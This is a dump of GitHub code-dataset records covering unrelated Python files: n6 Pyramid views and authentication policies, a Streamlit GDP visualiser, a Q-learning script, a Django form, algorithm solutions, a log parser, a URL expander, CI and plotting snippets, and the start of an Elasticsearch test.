log_debug_info_on_http_exc(http_exc)\n return http_exc\n\n\nclass N6CorsSupportStreamView(N6DefaultStreamViewBase):\n\n @classmethod\n def get_default_http_methods(cls):\n \"\"\"\n Add 'OPTIONS' to supported http methods.\n\n This is required http method for Cross-Origin Resource Sharing\n (https://www.w3.org/TR/cors/) support.\n \"\"\"\n return super(N6CorsSupportStreamView, cls).get_default_http_methods(), 'OPTIONS'\n\n\nclass N6LimitedStreamView(N6CorsSupportStreamView):\n\n \"\"\"\n A view class that implements global limit for returned items.\n\n Results are limited by adding an `opt.limit` parameter to\n a query, if it is not present already, or its value is too high.\n \"\"\"\n\n GLOBAL_ITEM_NUMBER_LIMIT = 1000\n\n def prepare_params(self):\n params = super(N6LimitedStreamView, self).prepare_params()\n if 'opt.limit' not in params or params['opt.limit'][0] > self.GLOBAL_ITEM_NUMBER_LIMIT:\n params['opt.limit'] = [self.GLOBAL_ITEM_NUMBER_LIMIT]\n return params\n\n\nclass _AbstractInfoView(AbstractViewBase):\n\n \"\"\"\n An abstract class for creating views that return some simple info,\n without accessing database.\n \"\"\"\n\n data_backend_api_method = None\n\n def __init__(self, *args):\n super(_AbstractInfoView, self).__init__(*args)\n self.auth_api = self.request.registry.auth_api\n self._certificate_fetched = self._check_for_certificate(self.request)\n self._auth_data = getattr(self.request, 'auth_data', None)\n if self._auth_data:\n self._access_info = self.auth_api.get_access_info(self.request.auth_data)\n else:\n self._access_info = None\n\n def prepare_params(self):\n return {}\n\n @classmethod\n def concrete_view_class(cls, data_backend_api_method, **kwargs):\n view_class = super(_AbstractInfoView, cls).concrete_view_class(**kwargs)\n view_class.data_backend_api_method = data_backend_api_method\n return view_class\n\n @staticmethod\n def _check_for_certificate(request):\n if request.environ.get(SSL_ORG_ID_FIELD) and request.environ.get(SSL_USER_ID_FIELD):\n return True\n return False\n\n\nclass N6InfoView(_AbstractInfoView):\n\n \"\"\"\n Get info about REST API resources, to which user has access\n and his 'full access' status, and call proper API method.\n \"\"\"\n\n def make_response(self):\n api_method_name = self.data_backend_api_method\n api_method = getattr(self.request.registry.data_backend_api, api_method_name)\n if not self._auth_data:\n return api_method(False, certificate_fetched=self._certificate_fetched)\n available_resources, full_access = self._get_access_info()\n if (not isinstance(available_resources, MutableSequence) or\n not isinstance(full_access, bool)):\n raise HTTPServerError\n for res in available_resources:\n if res not in RESOURCE_ID_TO_ACCESS_ZONE:\n raise HTTPServerError\n return api_method(True,\n available_resources=available_resources,\n full_access=full_access,\n certificate_fetched=self._certificate_fetched)\n\n def _get_access_info(self):\n return (self._access_info['rest_api_resource_limits'].keys(),\n self._access_info['rest_api_full_access'])\n\n\nclass N6AuthView(_AbstractInfoView):\n\n @classmethod\n def get_default_http_methods(cls):\n return 'POST'\n\n def make_response(self):\n api_method_name = self.data_backend_api_method\n api_method = getattr(self.request.registry.data_backend_api, api_method_name)\n return api_method(self.request, self.auth_api)\n\n\nclass _AbstractDeviceRequestViewBase(AbstractViewBase):\n\n view_config_spec = '''\n [device_request_resource]\n finalized_request_case_expiry_days = 30 :: int\n '''\n\n @classmethod\n def concrete_view_class(cls, config, **kwargs):\n # note: here the `config` argument is a pyramid.config.Configurator\n # instance (*not* a n6lib.config.Config instance!)\n view_class = super(_AbstractDeviceRequestViewBase,\n cls).concrete_view_class(config=config, **kwargs)\n view_class.view_config_section = n6lib.config.Config.section(\n view_class.view_config_spec,\n settings=config.registry.settings)\n return view_class\n\n @attr_required('view_config_section')\n def __init__(self, *args, **kwargs):\n super(_AbstractDeviceRequestViewBase, self).__init__(*args, **kwargs)\n self.manage_api = self.request.registry.manage_api\n\n def prepare_params(self):\n return {}\n\n\nif _MANAGE_API:\n class DeviceRequestPostViewBase(_AbstractDeviceRequestViewBase):\n\n @classmethod\n def get_default_http_methods(cls):\n return 'POST'\n\n def make_response(self):\n request_case = self._new_request_case(\n csr_pem=self.request.body,\n auth_data=self.request.auth_data)\n body = json.dumps({'request_id': request_case.request_id})\n return Response(\n body,\n content_type='application/json')\n\n def _new_request_case(self, csr_pem, auth_data):\n try:\n return self.manage_api.make_new_request_case(csr_pem, auth_data)\n except ManageAPIClientError as exc:\n if exc.remote_user_error_label == 'not-a-csr':\n raise HTTPBadRequest(exc.remote_user_error_descr)\n if exc.remote_user_error_label in (\n 'csr-non-compliance', 'csr-for-different-user'):\n raise HTTPForbidden(exc.remote_user_error_descr)\n raise\nelse:\n DeviceRequestPostViewBase = None\n\n\nif _MANAGE_API:\n class DeviceRequestGetViewBase(_AbstractDeviceRequestViewBase):\n\n @classmethod\n def validate_url_pattern(cls, url_pattern):\n if not url_pattern.endswith('/{request_id}'):\n LOGGER.error(\"url_pattern must contain '/{request_id}' suffix\")\n raise HTTPServerError\n\n @classmethod\n def get_default_http_methods(cls):\n return 'GET'\n\n def make_response(self):\n request_id = self.request.matchdict['request_id']\n with self.manage_api as manage_api:\n request_case = self._get_request_case(manage_api, request_id)\n if request_case.status in ('new', 'registered'):\n body = ''\n status_code = 202\n elif request_case.status == 'finalized':\n self._check_request_case_expiry(request_case)\n cert_data = self._get_valid_cert_data(manage_api, request_case)\n body = cert_data.cert_pem\n status_code = 200\n else:\n assert request_case.status == 'cancelled'\n raise HTTPGone('The specified remote certificate request case is cancelled.')\n return Response(\n body,\n status_code=status_code,\n content_type='text/plain')\n\n def _get_request_case(self, manage_api, request_id):\n try:\n return manage_api.get_request_case(request_id)\n except ManageAPIClientError as exc:\n if exc.remote_user_error_label == 'request-id-not-found':\n raise HTTPNotFound(exc.remote_user_error_descr)\n raise\n\n def _check_request_case_expiry(self, request_case):\n assert request_case.status == 'finalized'\n request_case_expiry_days = self.view_config_section['finalized_request_case_expiry_days']\n if request_case_expiry_days > 0 and (\n datetime.datetime.utcnow() - request_case.status_changed_on >\n datetime.timedelta(days=request_case_expiry_days)):\n raise HTTPGone('The specified remote certificate request case expired.')\n\n def _get_valid_cert_data(self, manage_api, request_case):\n cert_data = manage_api.get_cert(\n request_case.cert_ca_label,\n request_case.cert_serial_number)\n cert_data.ensure_cert_verified()\n if cert_data.revoked_on is not None:\n raise HTTPGone('The requested certificate has been revoked.')\n if cert_data.expires_on < datetime.datetime.utcnow():\n raise HTTPGone('The requested certificate already expired.')\n return cert_data\nelse:\n DeviceRequestGetViewBase = None\n\n\n#\n# Custom tweens (see: http://docs.pylonsproject.org/projects/pyramid/en/newest/narr/hooks.html#registering-tweens)\n\n### XXX: [ticket #3312] Is this tween effective with stream renderers???\ndef auth_api_context_tween_factory(handler, registry):\n\n \"\"\"\n Factory of AuthAPI context tween.\n\n This tween automatically wraps requests in the AuthAPI context\n (using the AuthAPI context manager interface).\n\n See also: n6lib.auth_api.AuthAPI.\n \"\"\"\n\n auth_api = registry.auth_api\n\n def auth_api_context_tween(request):\n with auth_api:\n return handler(request)\n\n return auth_api_context_tween\n\n\n### XXX: [ticket #3312] Is this tween effective with stream renderers???\ndef transact_tween_factory(handler, registry):\n\n \"\"\"\n Factory of transaction management tween (somehow similar to pyramid_tm).\n\n See also: n6lib.transaction_helpers.\n \"\"\"\n\n NOTE_FORMAT = u'unauthenticated_userid: {!r}; request_path: {!r}'\n\n class _AbortTransact(Exception):\n pass\n\n def transact_tween(request):\n userid = request.unauthenticated_userid\n try:\n with transact:\n transact.active.note(NOTE_FORMAT.format(userid, request.path_info))\n response = handler(request)\n if transact.active.isDoomed():\n raise _AbortTransact\n except _AbortTransact:\n pass\n return response\n\n return transact_tween\n\n\n#\n# Application startup/configuration\n\nclass N6ConfigHelper(ConfigHelper):\n\n # (see: ConfigHelper docs)\n\n ### XXX: is it used??? should it be used??? [ticket #3688]\n default_static_view_config = {\n 'name': 'static',\n 'path': 'static',\n 'cache_max_age': 3600,\n }\n\n # note: all constructor arguments (including `auth_api_class`)\n # should be specified as keyword arguments\n def __init__(self, auth_api_class, manage_api_class=None, **kwargs):\n self.auth_api_class = auth_api_class\n self.manage_api_class = manage_api_class\n super(N6ConfigHelper, self).__init__(**kwargs)\n\n def prepare_config(self, config):\n #config.add_tween(\n # 'n6lib.profiling_helpers.profiling_tween_factory',\n # under=INGRESS)\n config.add_tween(\n 'n6lib.pyramid_commons.transact_tween_factory',\n under=EXCVIEW)\n config.add_tween(\n 'n6lib.pyramid_commons.auth_api_context_tween_factory',\n under=EXCVIEW)\n config.registry.auth_api = self.auth_api_class(settings=self.settings)\n if self.manage_api_class is not None:\n config.registry.manage_api = self.manage_api_class(settings=self.settings)\n return super(N6ConfigHelper, self).prepare_config(config)\n\n @classmethod\n def exception_view(cls, exc, request):\n http_exc = super(N6ConfigHelper, cls).exception_view(exc, request)\n log_debug_info_on_http_exc(http_exc)\n return http_exc\n\n\n#\n# Authentication policies\n\nclass BaseUserAuthenticationPolicy(BaseAuthenticationPolicy):\n\n \"\"\"\n Base class for user+organization-based authentication policy classes.\n \"\"\"\n\n _dev_fake_auth_flag_config_spec = '''\n dev_fake_auth = false :: bool\n ...\n '''\n\n def __new__(cls, settings):\n dev_fake_auth_flag_config = n6lib.config.Config.section(\n cls._dev_fake_auth_flag_config_spec,\n settings=settings)\n if dev_fake_auth_flag_config['dev_fake_auth']:\n # this is a hack for developers only\n return DevFakeUserAuthenticationPolicy(settings)\n return super(BaseUserAuthenticationPolicy, cls).__new__(cls)\n\n @staticmethod\n def merge_orgid_userid(org_id, user_id):\n return '{},{}'.format(org_id, user_id)\n\n @staticmethod\n def get_auth_data(request):\n \"\"\"\n Queries auth api for auth_data.\n\n Returns:\n A dict {'org_id': , 'user_id': }\n or None.\n \"\"\"\n unauthenticated_userid = request.unauthenticated_userid\n if unauthenticated_userid is not None:\n org_id, user_id = unauthenticated_userid.split(',')\n try:\n auth_data = request.registry.auth_api.authenticate(org_id, user_id)\n except AuthAPIUnauthenticatedError:\n LOGGER.warning('could not authenticate for organization id %r + user id %r',\n org_id, user_id)\n else:\n return auth_data\n else:\n # TODO: if this method is called from the\n # `LoginOrSSLUserAuthenticationPolicy` class, it should\n # not log this warning (maybe move part of a code\n # outside of the method and create two different\n # implementations?)\n LOGGER.warning('no unauthenticated_userid given!')\n return None\n\n def authenticated_userid(self, request):\n if request.auth_data is not None:\n return self.merge_orgid_userid(request.auth_data['org_id'],\n request.auth_data['user_id'])\n return None\n\n def effective_principals(self, request):\n effective_principals = super(BaseUserAuthenticationPolicy,\n self).effective_principals(request)\n assert Everyone in effective_principals\n if request.auth_data is not None:\n assert Authenticated in effective_principals\n effective_principals.append(self.merge_orgid_userid(request.auth_data['org_id'],\n request.auth_data['user_id']))\n #if :\n # effective_principals.append(\"group:admin\")\n return effective_principals\n\n\nclass SSLUserAuthenticationPolicy(BaseUserAuthenticationPolicy):\n\n \"\"\"Authentication based on mod_ssl env variables.\"\"\"\n\n def unauthenticated_userid(self, request):\n org_id, user_id = get_certificate_credentials(request)\n if org_id is not None and user_id is not None:\n return self.merge_orgid_userid(org_id, user_id)\n return None\n\n\nclass LoginOrSSLUserAuthenticationPolicy(SSLUserAuthenticationPolicy):\n\n \"\"\"\n Authentication based on a signed cookie.\n\n The cookie is created, after user signs in using his credentials\n through login form, or using SSL certificate. After that, each\n request is authenticated with the cookie.\n \"\"\"\n\n def __init__(self, settings):\n self._auth_tkt_policy = AuthTktAuthenticationPolicy(secret=make_hex_id(),\n hashalg='sha384',\n secure=False)\n\n def unauthenticated_userid(self, request):\n credentials = self._auth_tkt_policy.unauthenticated_userid(request)\n if credentials and self._validate_credentials(credentials):\n return credentials\n\n def authenticated_userid(self, request):\n return request.auth_data\n\n def effective_principals(self, request):\n return self._auth_tkt_policy.effective_principals(request)\n\n def remember(self, *args, **kwargs):\n return self._auth_tkt_policy.remember(*args, **kwargs)\n\n def forget(self, request):\n return self._auth_tkt_policy.forget(request)\n\n @staticmethod\n def _validate_credentials(credentials):\n try:\n _org_id, _user_id = credentials.split(',')\n except ValueError:\n LOGGER.warning(\"User tried to authenticate with invalid credentials: %s.\",\n credentials)\n return False\n return True\n\n # https://docs.pylonsproject.org/projects/pyramid/en/latest/tutorials/wiki2/authentication\n # .html#add-login-logout-and-forbidden-views\n\n\nclass DevFakeUserAuthenticationPolicy(BaseUserAuthenticationPolicy):\n\n \"\"\"\n A fake version for developers only...\n \"\"\"\n\n _dev_fake_auth_config_spec = '''\n [dev_fake_auth]\n org_id = example.org\n user_id = example@example.org\n '''\n\n def __new__(cls, settings):\n self = super(BaseUserAuthenticationPolicy, # [sic]\n cls).__new__(cls)\n self._dev_fake_auth_config = n6lib.config.Config.section(\n self._dev_fake_auth_config_spec,\n settings=settings)\n return self\n\n def unauthenticated_userid(self, request):\n return self.merge_orgid_userid(\n self._dev_fake_auth_config['org_id'],\n self._dev_fake_auth_config['user_id'])\n\n\n#\n# Asserting that our non-sdk n6 renderers are registered\n\nassert registered_stream_renderers.get('csv') is StreamRenderer_csv\nassert registered_stream_renderers.get('iodef') is StreamRenderer_iodef\nassert registered_stream_renderers.get('snort-dns') is SnortDNSRenderer\nassert registered_stream_renderers.get('snort-http') is SnortHTTPRenderer\nassert registered_stream_renderers.get('snort-ip') is SnortIPRenderer\nassert registered_stream_renderers.get('snort-ip-bl') is SnortIPBlacklistRenderer\nassert registered_stream_renderers.get('suricata-dns') is SuricataDNSRenderer\nassert registered_stream_renderers.get('suricata-http') is SuricataHTTPRenderer\nassert registered_stream_renderers.get('suricata-ip') is SuricataIPRenderer\nassert registered_stream_renderers.get('suricata-ip-bl') is SuricatatIPBlacklistRenderer\n","repo_name":"pabitpl/n6","sub_path":"N6Lib/n6lib/pyramid_commons/_pyramid_commons.py","file_name":"_pyramid_commons.py","file_ext":"py","file_size_in_byte":23348,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"32"} +{"seq_id":"38684632532","text":"\r\nfrom unicodedata import name\r\nfrom datetime import *\r\nimport streamlit as st\r\nimport pandas as pd \r\nimport plotly.express as px\r\nimport base64 # Standard Python Module\r\nfrom io import StringIO, BytesIO # Standard Python Module\r\nimport plotly.graph_objects as go\r\nfrom pandas_profiling import ProfileReport \r\n\r\n\r\nst.set_option('deprecation.showfileUploaderEncoding', False)\r\n\r\n# global dataframe\r\nst.set_page_config(page_title=\"GDP Analysis | Analyse your data\",page_icon=\"💰\")\r\n\r\nst.title(\"Upload your excel data\")\r\nst.header(\"Visualization settings\")\r\n\r\nglobal uploaded_file\r\nuploaded_file = st.file_uploader(label=\"Upload your Excel file\", type = ['csv','xlsx'])\r\n\r\nif uploaded_file is not None:\r\n \r\n try:\r\n dataframe = pd.read_csv(uploaded_file) \r\n \r\n except:\r\n dataframe = pd.read_excel(uploaded_file)\r\n finally:\r\n # st.warning(\"hello\")\r\n st.write(dataframe)\r\n\r\n#representation of graphs \r\n st.header(\"Graphical Representation\")\r\n \r\n #extracting the data \r\n numeric_dataframe = dataframe.select_dtypes(['float','int'])\r\n numeric_cols = numeric_dataframe.columns\r\n \r\n text_dataframe = dataframe.select_dtypes([\"object\"])\r\n text_cols = text_dataframe.columns\r\n \r\n \r\n \r\n # getting the country column\r\n count_box = []\r\n for count in dataframe.columns:\r\n count_box.append(count)\r\n country_box = st.selectbox(\"Select the country column \",count_box)\r\n \r\n country = country_box\r\n country_column = dataframe[country]\r\n # st.write(country_column)\r\n unique_country = country_column.unique().tolist()\r\n # st.write(unique_country)\r\n \r\n \r\n \r\n #getting the year column\r\n year_box = []\r\n for year in dataframe.columns:\r\n year_box.append(year)\r\n y_box = st.selectbox(\"select the year column\",year_box)\r\n \r\n st.write(y_box)\r\n \r\n \r\n total_year = []\r\n for year_list in dataframe[y_box].unique():\r\n total_year.append(year_list)\r\n st.write(type(total_year))\r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n #defining country selector\r\n options_country = st.multiselect(\r\n 'Select the countries',\r\n options=unique_country)\r\n \r\n # defining the data selector\r\n options_data = []\r\n box_data = []\r\n \r\n for col in dataframe.columns:\r\n options_data.append(col)\r\n box = st.selectbox(\"select the data you want to compare \",options_data[2::])\r\n \r\n \r\n # list_data = [\"None\",\"Maximum\",\"Minimum\"]\r\n # analysis_type = st.selectbox(\"Select the analysis type \",list_data)\r\n st.write(\"Select the Graph Type\")\r\n graph_type_1 = st.checkbox('Line Graph')\r\n \r\n \r\n fig = go.Figure()\r\n \r\n dataframes = {i: dataframe[dataframe[country] == i] for i in options_country} \r\n # st.write(datafrs)\r\n \r\n if count and graph_type_1 and graph_type_1 == True:\r\n \r\n for i, dataframe in dataframes.items():\r\n figure = fig.add_trace(go.Scatter(x=dataframe[y_box], y=dataframe[box], name=i)) \r\n # layout = dict(title = 'Multiple text labels')\r\n \r\n figure.update_traces(textposition='top center')\r\n \r\n figure.update_layout(\r\n height=500,width=800,\r\n title_text=f\"{box} over time {dataframe[y_box].iat[0]} to {dataframe[y_box].iat[-1]}\",\r\n xaxis = dict(title = y_box),yaxis = dict(title = box)\r\n )\r\n \r\n figure.update_traces(marker=dict(size=12,\r\n line=dict(width=2,\r\n color='DarkSlateGrey')),\r\n selector=dict(mode='markers'))\r\n st.plotly_chart(figure)\r\n \r\n \r\n # data_analyse = st.selectbox\r\n\r\n \r\n # if analysis_type == \"Maximum\":\r\n # st.write(\"hello maximum \")\r\n \r\n \r\n\r\n\r\n\r\n\r\n \r\n \r\n \r\n def generate_html_download_link(dataframe):\r\n # Credit Plotly: https://discuss.streamlit.io/t/download-plotly-plot-as-html/4426/2\r\n profile = ProfileReport(dataframe)\r\n href = profile.to_file(output_file = \"report.html\")\r\n return st.markdown(href, unsafe_allow_html=True)\r\n \r\n # -- DOWNLOAD SECTION\r\n st.subheader('Downloads:')\r\n \r\n button = st.button(\"Download the report\")\r\n if button:\r\n generate_html_download_link(dataframe)\r\n\r\n\r\n \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nhide_streamlit_style = \"\"\"\r\n \r\n \"\"\"\r\nst.markdown(hide_streamlit_style, unsafe_allow_html=True)\r\n\r\n\r\n\r\n\r\n# st.set_page_config(page_title=\"GDP Analysis || Predictions\")","repo_name":"Hemant1905/GDP_ANALYSIS","sub_path":"codes/pages/4_Upload your Excel data.py","file_name":"4_Upload your Excel data.py","file_ext":"py","file_size_in_byte":5153,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"39789474537","text":"# q_learning.py (jmkim2) HW 8\n\nfrom environment import MountainCar\nimport sys\nimport numpy as np\n\nclass Model():\n def __init__(self, car, episodes, max_iters, epsilon, gamma, lr):\n self.car = car\n self.episodes = int(episodes)\n self.max_iters = int(max_iters)\n self.epsilon = float(epsilon)\n self.gamma = float(gamma)\n self.lr = float(lr)\n \n self.actions = car.action_space\n self.states = car.state_space\n self.weight = np.zeros(shape=(self.states, self.actions))\n self.bias = 0\n \n def train(self):\n returns = []\n for episode in range(self.episodes):\n state = self.car.reset() # reset environment to starting conditions\n r = 0; i = 0\n done = False\n \n while not done and i < self.max_iters:\n qval = self.qval(state, self.weight, self.bias)\n action = self.select_action(state, self.epsilon, qval, self.actions)\n new_state, reward, done = self.car.step(action)\n r += reward\n\n qval_new = self.qval(new_state, self.weight, self.bias)\n qval_max = np.max(qval_new)\n\n optimal = reward + self.gamma * qval_max\n gradient = self.grad(state, action, self.car, self.actions, self.states)\n # update weight and bias\n self.weight -= self.lr * (qval[action] - optimal) * gradient\n self.bias -= self.lr * (qval[action] - optimal)\n state = new_state\n i += 1\n returns.append(r)\n return self.weight, self.bias, returns\n\n def qval(self, state, weight, bias):\n val = bias # add in bias\n for key in state:\n val += weight[key] * state[key]\n return val\n \n def grad(self, state, action, car, actions, states):\n gradient = np.zeros(shape=(states, actions))\n update = np.zeros(states)\n for key in state:\n update[key] = state[key]\n gradient[:, action] = update\n return gradient\n\n def select_action(self, state, e, qval, actions):\n if np.random.uniform(0, 1) < 1 - e: # if there is a draw, choose the smallest action\n return np.argmax(qval)\n else: # choose randomly from 0, 1, 2\n return np.random.randint(actions)\n\ndef main():\n mode = sys.argv[1] # raw or tile\n car = MountainCar(mode)\n episodes = sys.argv[4]\n max_iters = sys.argv[5]\n epsilon = sys.argv[6]\n gamma = sys.argv[7]\n lr = sys.argv[8]\n\n # train model\n m = Model(car, episodes, max_iters, epsilon, gamma, lr)\n weights, bias, returns = m.train()\n weights = np.reshape(weights, (car.state_space*car.action_space))\n\n # metrics out\n weight_out = open(str(sys.argv[2]), \"w\")\n weight_out.write(str(bias) + \"\\n\")\n for w in weights:\n weight_out.write(str(w) + \"\\n\")\n weight_out.close()\n\n returns_out = open(str(sys.argv[3]), \"w\")\n for r in returns:\n returns_out.write(str(r) + \"\\n\")\n returns_out.close()\n print(\"done\")\n\n\nif __name__ == \"__main__\":\n main()","repo_name":"julia722/MLAlgorithms","sub_path":"q_learning.py","file_name":"q_learning.py","file_ext":"py","file_size_in_byte":3152,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"19273584468","text":"from django import forms\nfrom .models import Item\nfrom PIL import Image # Make sure you have the Pillow library installed\n\nclass RegisterItemForm(forms.ModelForm):\n class Meta:\n model = Item\n fields = ['name', 'descriptions', 'price', 'image', 'available_count'] # Exclude 'user' from fields\n\n def clean_image(self):\n image = self.cleaned_data.get('image')\n if image:\n img = Image.open(image)\n width, height = img.size\n if width != height:\n raise forms.ValidationError(\"Image must have a square aspect ratio (width = height).\")\n return image\n\n\n\nclass ItemUpdateForm(forms.ModelForm):\n class Meta:\n model = Item\n fields = ['name', 'price', 'descriptions', 'image', 'available_count']\n","repo_name":"dsneed123/centrebyte","sub_path":"centrebyte/products/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":791,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"15960604495","text":"import sys\n\nfrom collections import deque\nsys.stdin = open(\"input.txt\",\"rt\")\ninput = sys.stdin.readline\nT = int(input())\n\nfor _ in range(T):\n func = input()\n length = int(input())\n q = deque(input()[1:-2].split(','))\n\n if length == 0:\n q = deque()\n\n isError = False\n isReverse = False\n for c in func:\n if c == 'R':\n isReverse = not isReverse\n else:\n if not q:\n isError = True\n break\n if isReverse:\n q.pop()\n else:\n q.popleft()\n\n if not isError:\n if isReverse:\n q.reverse()\n q = list(q)\n print('[', end='')\n print(','.join(q), end='')\n print(']')\n else:\n print('error')","repo_name":"Chord-West/Algorithm","sub_path":"PythonAlgorithm/BaekJoon/Gold/AC.py","file_name":"AC.py","file_ext":"py","file_size_in_byte":773,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"23317622777","text":"import json\nimport time\nimport logging\nfrom urlmorph import URLTransform\nfrom urllib.request import urlopen,Request\nfrom urllib.parse import urlencode,urlparse\n\n\nservices_url = 'http://api.longurl.org/v2/services'\nexpander_url = 'http://api.longurl.org/v2/expand'\n\n\ndef make_request(url,useragent):\n val = None\n try:\n req = Request(url)\n req.add_header('user_agent',useragent)\n ret = urlopen(req).read()\n val = json.loads(ret.decode('utf-8'))\n except Exception as e:\n logging.warn(\"Error making request `{}`\".format(url))\n logging.warn(e)\n return val\n\n\ndef get_services(useragent=None):\n params={'format':'json'}\n url = services_url + '?' + urlencode(params)\n val = make_request(url,useragent)\n return val.keys() \n\n\ndef expand_url(url, useragent=None, options=[]):\n params={'format':'json',\n 'url':url}\n for o in options:\n params[o] = 1\n url = expander_url + '?' + urlencode(params)\n val = make_request(url,useragent)\n return val\n\n\nclass URLExpander(URLTransform):\n\n application_name = 'url-expander'\n version = 0.2\n keyword = 'expand'\n delay = 1\n\n\n def __init__(self,useragent=None):\n self.useragent = useragent if useragent else '{}/{}'.format(URLExpander.application_name,URLExpander.version)\n self.supported = get_services(self.useragent)\n super().__init__()\n\n\n def supports(self,url):\n domain = urlparse(url).netloc\n return domain in self.supported\n\n\n def inner_transform(self,url):\n result = expand_url(url,useragent=self.useragent)\n if result and 'long-url' in result:\n return result['long-url']\n else:\n return None\n","repo_name":"Betawolf/url-morph","sub_path":"urlmorph/expander.py","file_name":"expander.py","file_ext":"py","file_size_in_byte":1607,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"16961440693","text":"import argparse\nimport json\n\nfrom pytest import TestReport\n\n\nMSG_FORMAT = \"\"\"\\\n
    Summary of Failures\n\n```\n{summary}\n```\n\n
    \n\"\"\"\n\n\ndef main(logfile, outfile):\n failures = []\n\n with open(logfile, 'r') as f:\n for line in f:\n parsed = json.loads(line)\n report_type = parsed['$report_type']\n if report_type == \"TestReport\":\n parsed = TestReport._from_json(parsed)\n if parsed.outcome == \"failed\":\n failures.append(parsed)\n\n summary = \"\\n\".join(f\"{f.nodeid}: {f.longrepr.chain[0][1].message}\"\n for f in failures)\n print(f\"writing to {outfile}\")\n with open(outfile, 'w') as f:\n f.write(MSG_FORMAT.format(summary=summary))\n\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser()\n parser.add_argument(\"logfile\", help=\"The path to the input logfile\")\n parser.add_argument(\"--outfile\", help=\"The path to the parsed output file to be created.\",\n default=\"parsed_logs.txt\")\n args = parser.parse_args()\n main(logfile=args.logfile, outfile=args.outfile)\n","repo_name":"Hsiang-LinC/jax","sub_path":".github/workflows/parse_logs.py","file_name":"parse_logs.py","file_ext":"py","file_size_in_byte":1077,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"32"} +{"seq_id":"27047068368","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri Jul 27 09:04:47 2018\n\n@author: yiqian\n\"\"\"\n\nclass Solution(object):\n def countSubstrings(self, s):\n \"\"\"\n :type s: str\n :rtype: int\n \"\"\"\n result = len(s)\n for i in xrange(2, len(s)+1):\n for j in xrange(len(s)): \n if i%2 == 0: \n if s[j:j+int(i/2)] == s[j+int(i/2):j+i][::-1] and len(s[j:j+int(i/2)])!=0:\n result += 1\n else: \n if s[j:j+int((i-1)/2)] == s[j+int((i-1)/2)+1:j+i][::-1] and len(s[j:j+int((i-1)/2)])!=0:\n result += 1\n return result\n \n \"\"\"\n i: the length of substring\n j: the startposition of substring\n \"\"\"","repo_name":"AlexQianYi/Leetcode","sub_path":"647 Parlindromic Substrings.py","file_name":"647 Parlindromic Substrings.py","file_ext":"py","file_size_in_byte":816,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} +{"seq_id":"5157933024","text":"from jaypore_ci import jci\n\nwith jci.Pipeline() as p:\n # This will have 18 jobs\n # one for each possible combination of BROWSER, SCREENSIZE, ONLINE\n for env in p.env_matrix(\n BROWSER=[\"firefox\", \"chromium\", \"webkit\"],\n SCREENSIZE=[\"phone\", \"laptop\", \"extended\"],\n ONLINE=[\"online\", \"offline\"],\n ):\n p.job(\n f\"Test: {env}\",\n \"pytest --browser=$BROWSER --device=$SCREENSIZE\",\n env=env,\n )\n","repo_name":"theSage21/jaypore_ci","sub_path":"docs/source/examples/job_matrix.py","file_name":"job_matrix.py","file_ext":"py","file_size_in_byte":467,"program_lang":"python","lang":"en","doc_type":"code","stars":30,"dataset":"github-code","pt":"32"} +{"seq_id":"37220532782","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Jan 11 22:05:21 2021\n\n@author: Cennetgül Yılmaz\n\"\"\"\n\nimport pandas as pd\nimport matplotlib.pyplot as plt\ndf=pd.read_csv(r\"C:\\Users\\asus\\Desktop\\Yapay_Zeka_Proje\\coronavirus_dataset\\covid_19_data.csv\")\n\nturkey=df[df[\"Country/Region\"]==\"Turkey\"]\nitaly=df[df[\"Country/Region\"]==\"Italy\"]\nspain=df[df[\"Country/Region\"]==\"Spain\"]\n\"\"\"\nplt.bar(turkey.Deaths,turkey.Recovered)\nplt.show()\n\"\"\"\nülke=[\"Türkiye\",\"Abd\",\"Almanya\",\"İtalya\",\"İspanya\",\"Fransa\",\"Güney Kore\",\"Japonya\",\"UK\",\"Çin\",\"Hindistan\"]\noran=[40,34.7,29.2,12.5,11.6,10.6,9.7,7.3,6.6,3.6,2.3]\nplt.xlabel(\"Ülkeler\")\nplt.ylabel(\"Oranlar\")\nplt.title(\"Yoğun Bakım Yatak Sayısı\")\nplt.bar(ülke,oran)\nplt.show()","repo_name":"cnntglylmz/coronavirus-data-analysis","sub_path":"8-Bar_Plot.py","file_name":"8-Bar_Plot.py","file_ext":"py","file_size_in_byte":713,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"25489719853","text":"#! /usr/bin/env python3\n# -*- coding: utf-8 -*-\n\n# Source: https://leetcode.com/problems/find-the-student-that-will-replace-the-chalk/\n# Author: Miao Zhang\n# Date: 2021-06-17\n\nclass Solution:\n def chalkReplacer(self, chalk: List[int], k: int) -> int:\n n = len(chalk)\n remain = k % sum(chalk)\n for i in range(n):\n remain -= chalk[i]\n if remain < 0: return i\n return -1\n","repo_name":"MichelleZ/leetcode","sub_path":"algorithms/python/findtheStudentthatWillReplacetheChalk/findtheStudentthatWillReplacetheChalk.py","file_name":"findtheStudentthatWillReplacetheChalk.py","file_ext":"py","file_size_in_byte":423,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} +{"seq_id":"1737052134","text":"import json\nimport unittest\nfrom elasticsearch import Elasticsearch\nfrom Queries import *\n\n\nTWEETS = [\n {\"user\": \"kimchy\", \"post_date\": \"2009-11-15T14:12:12\", \"message\": \"trying out Elasticsearch\"},\n {\"user\": \"kimchy\", \"post_date\": 